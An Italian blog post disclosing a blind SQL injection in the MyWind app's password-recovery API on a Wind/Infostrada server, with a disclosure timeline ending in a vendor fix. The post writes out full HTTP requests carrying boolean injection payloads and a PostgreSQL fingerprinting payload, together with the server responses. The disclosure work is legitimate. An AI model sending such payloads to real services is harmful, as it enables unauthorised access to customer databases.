← Home

SQL Injection on Infostrada backend database

tl;dr: C’è una SQL injection potenzialmente critica su un server di Wind/Infostrada che contiene il database clienti (e forse altro).


Ultimamente, sia decompilando un po’ di applicazioni Android, sia utilizzando Burpsuite ho notato che la maggioranza di esse utilizza API la cui sicurezza viene molto trascurata, ritenendole “private” o comunque ad uso esclusivo della propria applicazione. Effettivamente, problemi simili non si trovano con dork o con metodi normali e quindi anche per un attaccante risulta essere una superficie ben più rara da esplorare.

Un ottima dimostrazione di questa tesi è l’applicazione MyWind del gruppo Wind/Infostrada. L’app permette agli utenti wind di verificare il credito, cambiare piano tariffario, recuperare il proprio PUK, fare ricariche e diverse altre operazioni.

enter image description here

Installata la CA di Burp sul telefono inizio a guardarmi un po’ le richieste e la loro struttura e dopo 5 minuti salta già fuori un punto di injection nel form per recuperare la password.

La richiesta ha questa struttura:
(posto 340123456 un numero valido Wind)

POST https://appsfe.wind.it/worklight/apps/services/api/MyWind/Androidnative/query HTTP/1.1
X-Requested-With: XMLHttpRequest
x-wl-app-version: 24.0
Accept-Language: it_IT
x-wl-platform-version: 6.2.0.00.20141002-1640
WL-Instance-Id: <stripped>
x-wl-analytics-tracking-id: <stripped>
Content-Length: 190
Content-Type: application/x-www-form-urlencoded
Host: appsfe.wind.it
Connection: Keep-Alive
User-Agent: WLNativeAPI(Vodafone_785; Jelly Bean; Vodafone 785; SDK 17; Android 4.2.2)
Cookie: JSESSIONID=<stripped>; WL_PERSISTENT_COOKIE=<stripped>
Cookie2: $Version=1

parameters=["340123456"]&adapter=MASPAdapter&__wl_deviceCtx=<stripped>&procedure=startRecuperoCredenzialiMobile&compressResponse=false&isAjaxRequest=true&x=0.6955877927697153
HTTP/1.1 200 OK
Date: Tue, 09 Dec 2014 19:54:40 GMT
Server: Oracle-Application-Server-12c
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Expires: Sat, 6 May 1995 12:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Length: 137
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json;charset=UTF-8
Content-Language: en

/*-secure-
{"isSuccessful":true,"response":{"reason":"Richiesta elaborata correttamente","status":"0","datetime":"20141209205440"},"session":{"id":"","expires":"600"}}*/

Nota: una volta intercettata la prima richiesta si possono usare sempre gli stessi headers nel Repeater di Burp per farne altre. I cookie sembrano essere dipendenti dall’ip e la sessione ha una scadenza, dopo la quale bisogne inizializzare una nuova richiesta dall’app.

Il classico ’ AND 1=1

Request

parameters=["340123456' and 1=1"]&adapter=MASPAdapter&__wl_deviceCtx=<stripped>&procedure=startRecuperoCredenzialiMobile&compressResponse=false&isAjaxRequest=true&x=0.6955877927697153

Response

/*-secure-
{"isSuccessful":true,"response":{"reason":"Richiesta elaborata correttamente","status":"0","datetime":"20141209205546"},"session":{"id":"","expires":"600"}}*/

In questo caso quindi la richiesta sembra andare a buon fine (anche se al contrario della precedente l’sms per il recupero della password non viene inviato).

Il caso false

Request

parameters=["340123456' and 1=2"]&adapter=MASPAdapter&__wl_deviceCtx=<stripped>&procedure=startRecuperoCredenzialiMobile&compressResponse=false&isAjaxRequest=true&x=0.6955877927697153

Response

/*-secure-
{"isSuccessful":true,"response":{"reason":"Nessun numero di telefono trovato","status":"10249","datetime":"20141209205648"}}*/

OR

Request

parameters=["340123456' or 1=1"]&adapter=MASPAdapter&__wl_deviceCtx=<stripped>&procedure=startRecuperoCredenzialiMobile&compressResponse=false&isAjaxRequest=true&x=0.6955877927697153

Response

/*-secure-
{"isSuccessful":true,"response":{"reason":"Utente non' registrato","status":"10248","datetime":"20141209205724"}}*/

Request con altro payload

parameters=["-1' OR 17-7=10"]&adapter=MASPAdapter&__wl_deviceCtx=AUnnot1x6p4opBAA&procedure=startRecuperoCredenzialiMobile&compressResponse=false&isAjaxRequest=true&x=0.6955877927697153

Response

/*-secure-
{"isSuccessful":true,"response":{"reason":"Utente non' registrato","status":"10248","datetime":"20141209205813"}}*/

Come si può vedere le query SQL vengono restituiti, 1=1 ritorna true, 1=2 false e l’or seleziona una row il cui numero non è registrato per il servizio mobile (probabilmente uno molto vecchio). Ha tutte le caratteristiche per essere una Blind SQL injection, ma ancora non sappiamo nulla sul backend.

Preso in considerazione che difficilmente su applicazioni del genere viene utilizzato MySQL o SQL Server (per diverse ragioni tra cui scalabilità e performance), è più facile aspettarsi Oracle o PostgreSQL.

Questo ottimo articolo di OWASP mi ha permesso di identificare PostgreSQL senza SELECT o query complesse (più difficili da realizzare in casi blind e preferibilmente evitabili per motivi legali):

Request

parameters=["340123456' AND 1::int=1"]&adapter=MASPAdapter&__wl_deviceCtx=AUnnot1x6p4opBAA&procedure=startRecuperoCredenzialiMobile&compressResponse=false&isAjaxRequest=true&x=0.6955877927697153

Response

/*-secure-
{"isSuccessful":true,"response":{"reason":"Richiesta elaborata correttamente","status":"0","datetime":"20141209205847"},"session":{"id":"","expires":"600"}}*/

Giusto per essere sicuri, controlliamo che in caso di query con sintassi errata venga fornito un errore diverso dagli altri:
Response

/*-secure-
{"isSuccessful":true,"response":{"reason":"Errore Generico","status":"10253","datetime":"20141209210322"}}*/

Timeline

01/12 Vulnerabilità scoperta
08/12 Contattato supporto clienti Wind → Risposta generica
09/12 Ri-contattato supporto clienti Wind → Nessuna risposta
12/12 Contattata assistenza applicazione MyWind → Richiesta di ulteriori dettagli
17/12 Report dettagliato inviato → Nessuna risposta
04/01 Public disclosure

**UPDATE**

04/01 Report inviato direttamente ad un responsabile
07/01 Risposta e promessa di indagare
28/01 Conferma della vulnerabilità (probabilmente non exploitabile). Fix programmato per il 9/2 e richiesta di rimuovere il post fino a quella data (è stato fatto)
09/02 Fix e ripubblicazione del post